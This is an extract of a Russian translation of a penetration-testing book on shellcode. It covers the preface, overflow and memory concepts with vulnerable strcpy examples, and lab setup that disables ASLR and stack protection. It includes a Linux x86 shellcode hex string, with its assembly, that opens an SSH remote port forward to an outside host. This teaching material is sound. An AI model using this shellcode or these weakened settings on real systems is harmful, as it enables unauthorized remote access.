Вы находитесь на странице: 1из 321

Penetration

Testing with
Shellcode

By Hamza Megahed
Тестирование на
проникновение с
использованием шеллкода

Обнаружение, эксплоит и защита уязвимости


сетей и операционных систем
Предисловие
В этой книге мы будем искать уязвимости buffer overflow, с нуля создавать свои
шеллкоды, изучать механизмы защиты операционных систем и создавать свои
эксплоиты. Вы научитесь понимать как проникать в операционные системы и сети
используя шеллкоды, ассемблер и Metasploit. Также вы научитесь писать 64х битные
шеллкоды и шеллкоды уровня kernel. В целом эта книга является вашим пошаговым
путеводителем в мир создания и разработки шеллкода.

Для кого эта книга предназначена


Эта книга предназначена для специалистов по тестированию на проникновение,
аналитиков вредоносного по, исследователей безопасности, судебных
криминалистов, разработчиков эксплоитов, программистов на языке С,
тестировщикам по и студентам изучающим программирование.

Что изучают в этой книге


Глава 1, Введение, обсуждение концептов шеллкода, buffer overflow, heap corruption и
введение в компьютерную архитектуру.

Глава 2, Создание лаборатории, изучение создания рабочего места для тестирования


кода и введение читателей в графический интерфейс дебаггеров.

Глава 3, Язык Assembly, объясним как создать шеллкод на языке Assembly в системе
Linux .

Глава 4, Реверс инженерия, покажем как использовать дебаггеры для реверс


инженеринга кода.

Глава 5, Создание Шеллкода, объясним как создать шеллкод на языке Assembly и в


Metasploit.

Глава 6, Атаки buffer overflow, в деталях покажем как работает атака buffer overflow в
операционных системах Windows и Linux.
Глава 7, Создание эксплоита– Часть 1, покажем как использовать fuzzing и нахождение
обратного отклика.
Предисловие

Глава 8 – Часть 2, изучим создание правильного шеллкода и как правильно ввести его
в эксплоит.

Глава 9, Реальные примеры – Часть 1, введение в реальные сценари атаки buffer


overflow .

Глава 10, Реальные примеры – Часть 2, углубленное изучение предыдущей главы .


Глава 11, Реальные примеры – Часть 3, ещё несколько сценариев атак с использованием
других приёмов.

Гоава 12, Обнаружение и предотвращение, изучим некоторые приёмы и техники для


обнаружения и предотвращения атак buffer overflow.

Требования к пониманию данной книги


Читатели должны иметь базовые знания в области внутреннего устройства
операционных систем (Windows и Linux). Обязательно знание языка
программирования C. Также приветствуется знание языка программирования
Python.

Все примеры использованные в данной книге будут проводиться на моём личном ПК.
Ваши примеры могут отличаться от моих.

Скачайте примеры кода файлов


Вы можете скачать примеры кода файлов с вашего аккаунта на сайте
www.packtpub.com. Если вы приобрели данную книгу в другом месте, то вы можете
посетить www.packtpub.com/support и зарегистрироваться там чтобы получить все
файлы прямо на ваш email.

Также вы можете скачать эти файлы следуя инструкциям:

1. Log in or register at www.packtpub.com.


2. Select the SUPPORT tab.
3. Click on Code Downloads & Errata.
4. Enter the name of the book in the Search box and follow the onscreen
instructions.

[2]
Предисловие

При завершении загрузки разархивируйте папку используя одну из последних версий


нижеприведенных программ

WinRAR/7-Zip for Windows


Zipeg/iZip/UnRarX for Mac
7-Zip/PeaZip for Linux

Папки с исходным кодом находятся на сайте GitHub по адресу https://


github.
com/
PacktPublishing/
Penetration-Testing- Shellcode. Там же вы можете
with-
посмотреть и другие лоступные файли и видео https://github.
com/
PacktPublishing/.  Обязательно просмсотрите их!

Скачайте образы
Также мы предоставляем PDF файл с образами цветов использованных в данной
книге для построения диаграмм и скриншотов. Вы можете скачать их здесь

https://
www.packtpub.com/sites/default/files/downloads/
PenetrationTestingwithShellcode_​ColorImages.​pdf.

Использованные конвенции
В этой книге были использованы некоторые конвенции.

CodeInText: Показывает код слов в тексте, базы имён таблиц, имён папок, файлов,
дополнений, путей, ссылок, пользовательский ввод, и записи из Twitter.

Блок кода выглядит следующим образом:


mov rdx,0x1234
push rdx
push 0x5678
pop rdi
pop rsi

Чтобы привлечь большее внимание к определенной части кода мы используем


выделение данного текста:
mov rdx,0x1234
push rdx
push 0x5678
pop rdi
pop rsi

[3]
Предисловие

Все команды ввода и вывода выглядят как в этой записи:


$ nasm -felf64 stack.nasm -o stack.o

Жирный: Означает новое определение или важный текст на экране . Например


слова в диалоговом окне или меню. Пример: "Select GNU GCC Compiler, click Set as
default, and then click OK."

Предупреждение и важное сообщение.

Советы и подсказки.

Обратная связь
Обратная связь всегда приветствуется.

Для обратной связи используйте email feedback@packtpub.com указав название


данной книги в разделе описание. Для всех других вопросов используйте email
questions@packtpub.com.

[4]
1
Введение
Добро пожаловать в первую главу книги "Тестирование на проникновение с
использованием шеллкода". Определение "тест на проникновение" означает атака на
систему без разрушения самой системы . Целью атаки на систему является выявление
уязвимостей системы до того как это сделает злоумышленник. При использовании
шеллкода мы увидим как система сопротивляется раскрытию данных. Для этого мы
попытаемся собрать всю доступную информацию. Но перед этим мы поймём как
работуют атаки с использованием overflow (переполнение)

Buffer overflow (переполнения буффера) является одной из старейших и


разрушительных уязвимостей которая может привести к полному выведению из строя
всей системы. Она может проводится как удаленно так и локально. Эта проблема
возникает когда система не зможет определить куда поместить введенные данные. То
есть если мы введем больше данных чем имеется в предопределенном месте , то
произойдёт переполнение. Используя шеллкод мы можем изменить порядок
выполнения приложения . Основным разрушителем системы является полезная
нагрузка созданная с использованием шеллкода . С распространением всевозможного
По даже такие компании как Microsoft не могут обезопасить себя от такого рода аттак.

Эта глава включает следующие разделы :


Что такое stack?
Что такое buffer?
Что такое stack overflow?
Что такое heap?
Что такое heap corruption?
Что такое shellcode?
Введение в архитектуру системы
Что такое вызов системы?
Введение Глава 1

Что такое stack?


Stack это выделенное для каждого приложения место в памяти, используемое для
хранения всевозможных переменных. Операционная система отвечает за создание
места для памяти. Все вместе места памяти образуют stack. Также stack может
использоваться для хранения местоположения кода при функции возврата.

Stack использует метод Last Input First Output (LIFO) для хранения своих элементов и
регистр stack pointer (мы поговорим об этом далее) который указывает на верхнюю
часть stack, а также использует оператор push для хранения верхних элементов stack
and оператор pop для извлечения нужного элемента stack.

Для понимания вышесказанного посмотрим пример:


#include <stdio.h>
void function1()
{
int y = 1;
printf("This is function1\n");
}
void function2()
{
int z = 2;
printf("This is function2\n");
}
int main (int argc, char **argv[])
{
int x = 10;
printf("This is the main function\n");
function1();
printf("After calling function1\n");
function2();
printf("After calling function2");
return 0;
}

[7]
Введение Глава 1

Как работает предыдущий код:

Команда main начинает работу первой , переменная x будет перемещена в


stack. Далее мы увидим выполненную команду This is the main
function, как показано ниже:

Команда main вызовет функцию function1 и перед тем как начать


выполнение функции function1, адрес printf("After calling
function1\n") будет сохранена в stack для продолжения выполнения.
После окончания function1 перемещая переменную y в stack, выполнит
printf("This is function1\n"), как показано ниже:

[8]
Введение Chapter 1

Далее вернувшись к функции main снова выполнит команду


printf("After calling function1\n")и вытолкнит printf("After
calling function2") в stack как показано:

Далее контроль управления выдвинает function2 двигая переменную z в


stack выполнив printf("This is function2\n"), как показано в
диаграмме:

Далее вернувшись к main функция выполнит printf("After


calling function2") и выполнит выход.

[9]
Введение Глава 1

Что такое buffer?


Buffer - это временная секция в памяти которая хранит такие данные как
переменные. Buffer доступен или читаем только когда функция оьъявлена
повсеместно. Вместе с окончанием функции заканчивается и работа buffer. Все
последующие программы должны содействовать с buffer для хранения или
получения данных.

Посмотрим на следующий код:


char buffer;

Что означает секция C в нашем коде? Это просьба к компьютеру выделить место
(buffer) с размером char, которая равна 1 байту. Вы можете использовать функцию
sizeof чтобы подтвердить размер данных:
#include <stdio.h>
#include <limits.h>
int main()
{
printf("The size for char : %d \n", sizeof(char));
return 0;
}

Также вы можете использовать этот код для хранения данных типа int.

Что такое stack overflow (переполнение)?


Stack overflow возникает когда вы кладете больше данных чем может принять
buffer. Тем самым вы заполняете все свободные места buffer, а также близлежащие .
Это происходит когда функция которая ответственна за хранение данных не
проверяет вместимость вводимых в buffer данных, таких как strcpy. Мы можем
использовать stack overflow чтобы изменить код в порядке выполнения на другой
код используя шеллкод.

Например:
#include <stdio.h>
#include <string.h>
// This function will copy the user's input into buffer
void copytobuffer(char* input)
{
char buffer[15];
strcpy (buffer,input);
}

[ 10 ]
Введение Глава 1

int main (int argc, char **argv[])


{
copytobuffer(argv[1]);
return 0;
}

Код работает следующим образом:

В функции copytobuffer выделяется buffer размером в 15 символов при


том что buffer может принять только 14 символов и строку
заканчивающейся \0, которая показывает окончание массива

Вам не нужно заканчивать массив со строкой окончивающейся со


знаком 0 - компьютер сам сделает это за вас.

Strcpy принимает команду от пользователя и копирует это в


выделенный для этого buffer
В функции main это называется copytobuffer и передаёт аргумент
argv к copytobuffer

Что происходит когда функция main вызывает функцию copytobuffer?

Ниже ответ на заданный вопрос:

Адрес возврата функции main будет выведен в память


Старая точка отчета будет сохранена в памяти
В памяти будет выделен buffer размером в 15 байт или 15*8 битов:

[ 11 ]
Введение Глава 1

Сейчас мы поняли что buffer может принять всего лишь 14 символов. Однако
главная проблема заключается внутри функции strcpy, тк она не проверяет размер
вводимых символов, а просто выводит их в выделенный buffer.

Давайте скомпилируем и запустим код с 14 символами:

Давайте посмотрим на это:

Как мы видим программа вывела все без ошибок. Теперь попробуем


использовать 15 символов:

[ 12 ]
Введение Глава 1

Посмотрим еще один раз:

Это и есть stack overflow. Ошибка сегментации показывает нарушения в памяти. Это
происходит когда пользователь переполняет отведенный buffer.

Ошибка сегментации возникает когда пользователь нарушает


правила использования выделенных участков памяти.

Что такое heap?


Heap это часть памяти динамически выделяемое во время работы приложения. Heap
может выделяться при использовании команды malloc или calloc на языке C.
Heap отличается от stack тем что heap остаётся пока:
Программа существует (работает)
Удаляется при использовании
функции free
Heap отличается от stack тем что под heap выделяется больше места и оно не
ограничено как в stack, где существуют ограничения в зависимости от оперативной
системы. Также в heap вы можете изменить размер используя команду realloc, но
вы не можете изменить размер buffer. При использовании heap вы дожны
освободить heap после окончания используя функцию free. Также stack намного
быстрее чем heap.

[ 13 ]
Введение Глава 1

Давайте посмотрим на следующий код:


char* heap=malloc(15);

Что значит C в данном коде?


Этот код требует освободить место в памяти heap размером в 15 байтов включая 14
символов и строкой окнчивающейся на 0 \0.

Что такое heap corruption?


Heap corruption происходит когда размер данных скопированных или
направленных в heap больше чем само выделенное место. Посмотрим на пример:
#include <string.h>
#include <stdlib.h>
void main(int argc, char** argv)
{
// Start allocating the heap
char* heap=malloc(15);
// Copy the user's input into heap
strcpy(heap, argv[1]);
// Free the heap section
free(heap);
}
В первой строке кода в heap выделено 15 байт используя функцию malloc; во второй
строке кода, скопировано введенные пользователем в heap используя функцию
strcpy; в третьей строке кода heap становится свободной при использовании команды
free, возвращая систему.

Давайте скомпилируем все и запустим:

[ 14 ]
Введение Глава 1

Попробуем нарушить работу используя большие значения вводных:

Нарушение работы и есть heap corruption при которой


программа прекращает свою работу.

Планировка памяти (memory layout)


Полная планировка памяти состоит из:
Секция .text используется для хранения кода программы
Секция .data используется для хранения инициализированных
данных
Секция .BSS используется для хранения не
инициализированных данных
Heap это секция для использования динамически выделенных
переменных

[ 15 ]
Введение Глава 1

Секция stack использует динамически не выделенные перемменные. Такие


как buffers:

Посмотрите как растут heap и stack; stack растет с верхней памяти


к нижней, в то время как heap растёт сниза памяти к верху .

Что такое шеллкод?


Шеллкод это полезная нагрузка используемая при эксплуатации переполнением
написанном на языке программирования. Шеллкод используется для перекрытия
потока вывода после использования уязвимостей в процесс.

Ниже приведён пример шеллкода для Linux x86 SSH Удаленное перенаправление
порта ssh -R 9999:localhost:22 192.168.0.226 команда:

"\x31\xc0\x50\x68\x2e\x32\x32\x36\x68\x38\x2e\x30\x30\x68\x32\x2e\x31\x36""
\x66\x68\x31\x39\x89\xe6\x50\x68\x74\x3a\x32\x32\x68\x6c\x68\x6f\x73\x68""\
x6c\x6f\x63\x61\x68\x39\x39\x39\x3a\x66\x68\x30\x39\x89\xe5\x50\x66\x68""\x
2d\x52\x89\xe7\x50\x68\x2f\x73\x73\x68\x68\x2f\x62\x69\x6e\x68\x2f\x75""\x7
3\x72\x89\xe3\x50\x56\x55\x57\x53\x89\xe1\xb0\x0b\xcd\x80";

[ 16 ]
Введение Глава 1

Это язык ассемблера для нашего шеллкода:


xor %eax,%eax
push %eax
pushl $0x3632322e
pushl $0x30302e38
pushl $0x36312e32
pushw $0x3931
movl %esp,%esi
push %eax
push $0x32323a74
push $0x736f686c
push $0x61636f6c
push $0x3a393939
pushw $0x3930
movl %esp,%ebp
push %eax
pushw $0x522d
movl %esp,%edi
push %eax
push $0x6873732f
push $0x6e69622f
push $0x7273752f
movl %esp,%ebx
push %eax
push %esi
push %ebp
push %edi
push %ebx
movl %esp,%ecx
mov $0xb,%al
int $0x80

[ 17 ]
Введение Глава 1

Архитектура компьютера
Посмотрим на некоторые концепты архитектуры компьютера (Intel x64).
Основные компоненты компьютера показаны на данной диаграмме:

Давайте узнаем из чего состоит CPU. CPU состоит из трёх частей:

Arithmetic logic unit (ALU): Эта часть ответственна за выполнение


арифметических операций (складывание и вычетание), логических
операций (ADD и XOR)
Registers: Это то о чём мы будем говорить в этой книге - это супербыстрая
память для CPU
Control unit (CU): Эта часть ответственна за взаимодействие между ALU и
регистры, а также между самим CPU и другими устройствами

Registers (регистры)
Как мы отмечали ранее регистры это супербыстрая память для CPU
используемая для получения данных во время процесса.

[ 18 ]
Введение Глава 1

Главное назначение регистров


Здесь 16 главных назначений регистров в системах Intel x64:
Аккумулирующий регистр (RAX) используется при арифметичесикх
операциях—RAX содержит 64 бита, EAX содержит 32 бита, AX содержит
16 бит, AH содержит 8 бит и AL содержит 8 бита:

Базовый регистр (RBX) используется как указатель данных—RBX


содержит 64 бита, EBX содержит 32 бита, BX содержит 16 бит, BH
содержит 8 бит и BL содержит 8 бит:

Счётный регистр (RCX) использует операторы цикла и сдвига—RCX


содержит 64 бита, ECX содержит 32 бита, CX содержит 16 бит, CH
содержит 8 бит и CL содержит 8 бит:

[ 19 ]
Введение Глава 1

Регистр данных (RDX) используется для хранения данных и


арифметических операций—RDX содержит 64 бита, EDX содержит 32
бита, DX содержит 16 бита, DH содержит 8 бит и DL содержит 8 бит:

Источник значений регистра(RSI) используется как указатель


источника—RSI содержит 64 бита, ESI содержит 32 бита, DI содержит
16 бита, and SIL содержит 8 бит:

Регистр индекса назначения (RDI) используется как указатель назначения


—RDI содержит 64 бита, EDI содержит 32 бита, DI содержит 16 бита,
and DIL содержит 8 бит:

RSI и RDI используются для изменения строк

[ 20 ]
Введение Глава 1

Регистр указателя stack (RSP) используется как указатель верхней части


stack—RSP содержит 64 бита, ESP содержит 32 бита, SP содержит 16 бит и
SPL содержит 8 бит:

Указатель базового регистра (RBP) используется для указания базы stack


—RBPсодержит 64 бита, EBP содержит 32 бита, BP содержит 16 бит и BPL
содержит 8 бит:

Регистры R8, R9, R10, R11, R12, R13, R14 и R15 не имеют особых команд,
но они не имеют схожую архитектуру как предыдущие регистры. Такие
как значение high (H) или low (L). Однако они могут быть использованы
как D для двойного слова, W для слова или B для байта. Давайте
взглянем на регистр R8:

Здесь R8 содержит 64 бита, R8D содержит 32 бита, R8W содержит 16 бит и R8B
содержит 8 бит.

[ 21 ]
Введение Глава 1

R8 существует посредством R15 только на Intel x64, но не x84.

Регистр instruction pointer (указатель команд)


Регистр указатель команд или RIP используется для задержки следующей

команды. Посмотрим на приведённый ниже пример:


#include <stdio.h>
void printsomething()
{
printf("Print something\n");
}
int main ()
{
printsomething();
printf("This is after print something function\n");
return 0;
}

Первым будет выполнена команда main, затем printsomething. Но до того как мы


выполним команду printsomething, программа должна знать какая операция
следует после команды printsomething. До того как мы выполним команду
printsomething следующая команда printf("This is after print something
function\n") уже будет иметь своё место при использовании регистра RIP:

В примере, RIP содержит 64 бита, EIP содержит 32 бита и IP содержит 16 бит.

[ 22 ]
Введение Глава 1

Таблица содержит все основные значения регистров:

64-bit register 32-bit register 16-bit register 8-bit register


RAX EAX AX AH,AL
RBX EBX BX BH, BL
RCX ECX CX CH, CL
RDX EDX DX DH,DL
RSI ESI SI SIL
RDI EDI DI DIL
RSP ESP SP SPL
RBP EBP BP BPL
R8 R8D R8W R8B
R9 R9D R9W R9B
R10 R10D R10W R10B
R11 R11D R11W R11B
R12 R12D R12W R12B
R13 R13D R13W R13B
R14 R14D R14W R14B
R15 R15D R15W R15B

Регистр флагов
Этот регистр контролирует порядок выполнения. Например, команда JMP будет
выполнена на основании значений регистра флагов таких как jump if zero (JZ) . Это
означает что порядок выполнения будет изменен на другой поток JZ если содержит
значение 1. Мы поговорим о наиболее распространённых флагах:

[ 23 ]
Введение Глава 1

The carry flag (CF) набор арифметических операций используемых при


добавлении или взаимствовании
The parity flag (PF) набор чисел при четных битах
The adjust flag (AF) набор арифметических операций используемых при
лесятичном бинарном коде
The zero flag (ZF) набор если рещультат равен 0
The sign flag (SF) набор если важнейший бит является 1 (отрицательное
число)
The overflow flag (OF) набор арифметических операций если результат
слишком велик чтобы вместиться в регистр

Регистр сегментов
Существует 6 регистров сегментов:

[ 24 ]
Введение Глава 1

The code segment (CS) указывает на начальный адрес code segment в stack
The stack segment (SS) указывает на начальный адрес stack
The data segment (DS) указывает на начальный адрес data segment в stack
The extra segment (ES) указывает на дополнительные данные
The F segment (FS) указывает на дополнительные данные
The G segment (GS) указывает на дополнительные данные

F в FS означает что F после E в ES; а G в GS означает что G после F.

Endianness (порядок байтов)


Endianness описывает последовательность выделенных байтов в памяти или регистре.
Они бывают двух типов:

Big-endian означает выделение байтов слева направо. Посмотрим как


слово shell (which in hex 73 68 65 6c 6c) будет выделено в памяти:

Как мы видим оно выделено слева направо.

Little-endian означает выделение байтов справа налево. Посмотрим на


предыдущий пример с little-endian:

[ 25 ]
Введение Глава 1

Как мы видим было сдвинуто справо налево llehs, а главное:


процессоры Intel являются little-endian.

Системный вызов (system calls)


В системах Linux память (RAM) делится на две области: user space
(пользовательская) и на kernel space (кернель). Kernel space ответственна за работу
kernel кодов,а также за процессы системы с полным доступом к памяти. В свою
очередь user space отвечает за работу пользовательских процессов и приложений с
ограниченным доступом к памяти.

При попытке пользователя вывести код user space отправляет запрос к kernel space
используя системный вызов(system calls). Также называемым как syscalls. Затем
kernel space выводит код от имени user space используя метод fork-exec.

Что такое syscalls?


Syscalls это запросы используемые user space и запрашиваемые у kernel для вывода
кода от имени user space. Например если код просит открыть файл то user space
отправляет запрос к kernel и тот от имени user space, если код C содержит команду
printf, отправляет запрос к kernel:

[ 26 ]
IВведение Глава 1

При методе fork-exec система Linux управляет процессами и


приложениями копируя родительские ресурсы находящиеся в
памяти используя метод вызова fork syscall.

Syscalls схожи с kernel API. Это то как вы будете взаимодействовать с kernel чтобы
выполнить команду.

User space это изолированное место или песочница для защиты


kernel space и его ресурсов.

Как мы можем увидеть все x64 kernel syscall ? Это очень просто, все syscalls
находятся внутри этого файла: /usr/include/x86_64-linux-gnu/asm/
unistd_64.h:
cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h

Результат введённой нами команды показан на скриншоте:

Это всего лишь небольшая часть вызовов kernel syscall.

[ 27 ]
Введение Глава 1

Заключение
В этой главе мы познакомились с такими понятиями как stack, buffer, heap, а также
посмотрели как работает buffer overflow и heap corruption. Также мы узнали о
таких элементах компьютерной архитектуры как register. В конце мы увидели как
работают syscalls. Они являются важными элементами системы Linux и то как
kernel выводит код. К этому моменту мы уже готовы начать работать с атаками на
переполнение (overflow attacks) и созданию шеллкодов.

[ 28 ]
2
Создание лаборотории
В этой главе мы создадим изолированную лабораторию которую мы будем
использовать на протяжении всей книги. Мы научимся устанавливать такие
инструменты как Metasploit Framework для создания шеллкодов и разработки
эксплоитов. Также мы установим язык программирования C (включая IDE) и
компилятор для Microsoft Windows. Затем мы рассмотрим установку дебаггеров.

Первым делом нам понадобятся три машины. Первой будет машина атакаующего на
которой установлена Linux OS. Я предпочитаю Kali Linux так как она содержит
множество инструментов уже в базовой комплектации. Второй будет Ubuntu 14.04 LTS
x64 и третьей Windows 7 x64.

В этой главе мы рассмотрим следующие темы:

Настройка атакующей машины


Настройка машины жертвы Linux
Настройка машины жертвы Windows
Настройка машины жертвы Linux
Настройка Ubuntu для ассемблера x86
Настройка сети
Создание лаборатории Главa 2

Мы можете выбрать VMware, KVM или VirtualBox. Но


применительно к сети желательно выбрать host-only network, чтобы
не навредить системам которые находятся за пределами нашей
лаборатории.

Настройка атакующей машины


Как и говорилось ранее атакующей машиной мы выберем Kali Linux. Но если вы
выбрали другой дистрибутив то вам стоит скачать следующие материалы:

1. Удостоверимся что у нас установлен компилятор C; введите команду gcc -v

[ 30 ]
Создание лаборатории Главa 2

2. Если не установлен то выполните $ sudo apt-get install gcc


(дистрибутив Debian) или $ sudo yum install gcc (Red Hat дистрибутив).
Даём согласие на установку с зависимостями gcc .
3. Для разработки эксплоитов мы будем использовать язык
программирования Python . Изначально в системах Linux уже
предустановлен Python, но чтобы проверить это введём $ python -V или
python. Откроется Python (для выхода используем Ctrl + D):

4. Для редактирования я использую CLI text editor и atom как графический редактор
GUI text editor; редактор nano также входит в стандартные программы многих
дистрибутивов Linux.
5. Если вам нужно установить atom, то перейдите www.github.com/atom/atom/releases/,
и вы найдете beta версию программы. Затем установите программу Atom на вашу
систему, .deb или .rpm и установите введя $ sudo dpkg -i package-name.deb
(Debian дистрибутив) or $ sudo rpm -i package-name.rpm (Red Hat дистрибутив).

[ 31 ]
Создание лаборатории Главa 2

Это то как выглядит интерфейс программы Atom :

Для созлания шеллкодов и разработки эксплоитов мы будем использовать


Metasploit Framework . Для установки Metasploit я использую ссылку
www.github.com/rapid7/metasploit-framework/wiki/nightly-installers. Этот скрипт
установит Metasploit со всеми зависимостями (Ruby и PostgreSQL). Посмотрим на
пример (установка Metasploit на ARM, тоже самое и для Intel):

1. Первым мы введём команду curl:

$ curl https://raw.githubusercontent.com/rapid7/
metasploit-omnibus/master/config/templates/
metasploit-framework-wrappers/msfupdate.erb > msfinstall

2. Далее мы дадим необходимые права введя команду chmod:

$ chmod 755 msfinstall

[ 32 ]
Создание лаборатории Главa 2

3. Запустим установщик:

$ ./msfinstall

4. Начнется установка Metasploit Framework включая зависимости.


5. Для создания базы данных в Metasploit Framework введём msfconsole и
последуем инструкциям:

$ msfconsole

6. Будет создана новая база данных при запуске Metasploit Framework:

7. При необходимости мы можем вызвать ассемблер командой nasm и linker командой


ld

[ 33 ]
Создание лаборатории Главa 2

8. Для установки nasm введём $ sudo apt-get install


nasm (дистрибутив Debian). Для Red Hat дистрибутивов, согласно сайту
NASM's, вам нужно добавить данный репозиторий /etc/yum/yum.repos.d
как nasm.repo:

[nasm]
name=The Netwide Assembler
baseurl=http://www.nasm.us/pub/nasm/stable/linux/
enabled=1
gpgcheck=0

[nasm-testing]
name=The Netwide Assembler (release candidate builds)
baseurl=http://www.nasm.us/pub/nasm/testing/linux/
enabled=0
gpgcheck=0

[nasm-snapshot]
name=The Netwide Assembler (daily snapshot builds)
baseurl=http://www.nasm.us/pub/nasm/snapshots/latest/linux/
enabled=0
gpgcheck=0
9. Введите $ sudo yum update && sudo yum install nasm для установки
обновления
введём nasm и $ nasm -v для определения версии NASM:

10. Введём $ ld -v чтобы узнать версию linker:

[ 34 ]
Создание лаборатории Главa 2

Настройка машины жертвы Linux


Этой машиной будет Ubuntu 14.04 x64. Вы можете скачать её с http:/eleases.
/r
ubuntu.
com/
14. . Также следуйте инструкциям для установки gcc, Python, и nasm.
04/

Установим edb-debugger. Проследуйте на страницу

https:/​/​github.​com/​eteran/​edb-​debugger/​wiki/​Compiling-​(Ubuntu)

первым делом установим зависимости введя команду:

$ sudo apt-get install cmake build-essential libboost-dev


libqt5xmlpatterns5-dev qtbase5-dev qt5-default libgraphviz-dev libqt5svg5-
dev git

Клонируем и скомпилируем Capstone 3.0.4, следующим образом:


$ git clone --depth=50 --branch=3.0.4
https://github.com/aquynh/capstone.git
$ pushd capstone
$ ./make.sh
$ sudo ./make.sh install
$ popd

Клонируем и компилируем edb-debugger следующим образом:


$ git clone --recursive https://github.com/eteran/edb-debugger.git
$ cd edb-debugger
$ mkdir build
$ cd build
$ cmake ..
$ make

[ 35 ]
Создание лаборатории Глава 2

Запустим edb-debugger используя команду $ sudo ./edb которая откроет


следующее окно:

[ 36 ]
Создание лаборатории Глава 2

Как мы видим edb-debugger состоит из четырёх окон:

Окно диассемблера переводит машинный язык в язык ассемблер

Окно регистров содержит данные всех регистров


Окно Data Dump состоит из данных памяти и действуюших процессов
Окно Stack состоит из данных stack настоящего процесса

Последним шагом будет обязательное отключение Address Space Layout


Randomization (ASLR) в образовательных целях. То механизм защиты в системах
Linux о которых мы поговорим в следующих главах.

Выполним команду $ echo 0 | sudo tee


/proc/sys/kernel/randomize_va_space.

Также выключим защиту stack и NX при использовании gcc сразу после


компилирования используя:
$ gcc -fno-stack-protector -z execstack

Настройка машины жертвы Windows


Здесь мы будем настривать машину жертвы Windows, а именно Windows 7 x64.

Установим компилятор C вместе с IDE. Я рекомендую Code::Blocks, установите скачав


бинарий из http:/
/
www.
codeblocks.
org/ binaries.Установим
downloads/
codeblocks-16.01mingw-setup.exe (последняя версия). Скачайте и установите
версию mingw.

[ 37 ]
Создание лаборатории Глава 2

Первым делом загрузим Code::Blocks и в открывщемся окне настроим


компилятор . Веберем GNU GCC Compiler, нажмём Set as default, затем OK:

[ 38 ]
Создание лаборатории Глава 2

После мы увидим IDE :

Сейчас у нас имеется компилятор C и IDE. Продолжим установку дебаггеров.

[ 39 ]
Создание лаборатории Глава 2

Первым делом найдём Immunity Debugger для x86; скачаем его из https:/
/
debugger.
immunityinc.
com/
ID_ py. Заполним форму для скачивания и установим его
register.
используя предустановленные настройки. Далее согласимся на установку программы
Python. Установим плагин для дебаггера mona перейдя на сайт компании Corelan
https:// be. Этот плагин поможет нам при создании эксплоитов.
www. corelan.
Скачаем файл mona.py с репозитория GitHub https:/ /
github.com/ mona,
corelan/
затем скопируем его в C:\Program Files (x86)\Immunity Inc\Immunity
Debugger\Immunit\PyCommands:

Так выглядит Immunity Debugger который состоит из четырёх основных окон, как
и мы говорили в его описании.

[ 40 ]
Создание лаборатории Глава 2

Также у нас появился Python. Проверим это пройдя в C:\Python27\. Затем нажмём
на Python и мы увидим окно интепретатора Python:

Установим x64dbg. Это дебаггер как для Windows x86 так и для x64. Но для x86
Windows нет ничего лучшего чем Immunity Debugger.

Перейдём https:/
/
sourceforge.
net/
projects/x64dbg/
files/ , затем
snapshots/
загрузим последнюю версию. Распакуйте его и перейдите в /release для начала
x96dbg:

TНажмите x64dbg:

[ 41 ]
Создание лаборатории Глава a2

Познакомимся с интерфейсом x64dbg который также содержит четыре основных


окна windows как и мы описывали в edb-debugger:

Настройка Ubuntu для x86 ассемблера


Нет необходимости это делать, но мы решили попросить вас попробовать ассемблер
x86. Это машина будет использована на Ubuntu 14.04 x86 которую вы сможете скачать
здесь http:/
/releases.
ubuntu.
com/
14. .
04/

Следуйте инструкциям которые использовались ранее для установки текстовых


редакторов NASM и GCC. Я буду использовать GDB дебаггер.

[ 42 ]
Создание лаборатории Главa 2

Сети
Мы будем использовать уязвимые машины для поиска экслоитов и для создания
шеллкодов. Для этого нам следует создать безопасную сеть настроив отдельно
каждую машину. Для найстройки сети выберем вариант host-only убедившись что
все машины находятся в одной сети.

При использовании VirtualBox перейдём в Preferences | Network aи выберем Host-


only Networks:

Выберем диапазон IP при котором не нарушается работа внешнего IP, например:

IP address: 192.168.100.1
Netmask: 255.255.255.0

[ 43 ]
Создание лаборатории Главa 2

Затем активируйте DHCP server из списка DHCP Server. Вы

увивидете это набрав ifconfig:


$ ifconfig vboxnet0

Активируйте сеть (например, vboxnet0) используя адаптер на гостевой машине :

[ 44 ]
Создание лаборатории Глaва 2

При использовании VMware Workstation перейдите в Edit | Virtual Network Editor:

Убедитесь что вы выбрали host-only:


$ ifconfig vmnet1

[ 45 ]
Создание лаборатории Главa 2

Далее гостевой магине перейдём в настройки Network Adapter и выберем Host-


only: A private network shared with the host:

Заключение
В этой главе мы установили три основные операционные системы: атакующая
машина которая симулирует удаленную эксплуатацию; машина с Ubuntu x64 и
машина с Windows 7 которые будут машинами жертвы. Также у нас имеется
дополнительная машина с assembly x86.

Также мы отключили некоторые механизмы защиты системы Linux, только в


образовательных целях, затем изучили настройки сетей.

В следующей главе мы изучим ассемблер который научит нас писать свои шеллкоды
и понимать то как происходит порядок выполнения программ .

[ 46 ]
3
Язык Ассемблер в Linux
В этой главе мы поговорим о таком языке программирования как ассемблер. Мы
научимся писать свой код. Ассемблер является низкоуравневым языком
программирования. Для компьютеров низкоуравневые языки являются простейшими
формами программирования. В отличие от языков программирования Python и Java в
ассемблере вы будете работать с такими элементами как registers и stack. Язык
ассемблер написан под определенную компьютерную архитектуру. Например Intel
имеет свой отличный от других язык ассемблер. Мы изучим язык ассемблер чтобы
легко и быстро создавать свои шеллкоды.

Язык ассемблер в структуре кода


Здесь мы изучим структуру кода, а не структуру языка.
Язык ассемблер в Linux Глава 3

Вспомним как выглядит раздел памяти:

Выполненый код мы вставим в секцию .text а переменные в .data:

[ 48 ]
Язык ассемблер в Linux Глава 3

Здесь используется stack типа LIFO (Last Input First Output) который использует
команды push и pop для выполнения команд. Операция push выталкивает наверх
что то в stack. Посмотрим на пример. Здесь мы имеем stack состоящий только из
0x1234:

Добавим что то в stack используя ассемблер push 0x5678. По инструкции мы


перенесём значение 0x5678 в stack, которое сменит stack pointer и укажет на значение
0x5678:

[ 49 ]
Язык ассемблер в Linux Глава 3

Сейчам мы хотим получить данные в stack. Используя команду pop мы выведем


последний элемент в stack. Используя похожий метод pop rax мы сможем найти
значение для 0x5678 сдвинув регистр RAX:

Всё просто!!

Ну вот мы научились писать код на языке ассемблер в системе Linux x64? Это очень
просто. Помните syscalls? Сейчас мы начнем вызывать все что нам нужно используя
системные команды. Например если мы хотим выйти из программы, то нам просто
нужно вызвать exit syscall.
Этот файл /usr/include/x86_64-linux-gnu/asm/unistd_64.h, содержит вызовы
syscalls для Linux x64. Найдём exit syscall:
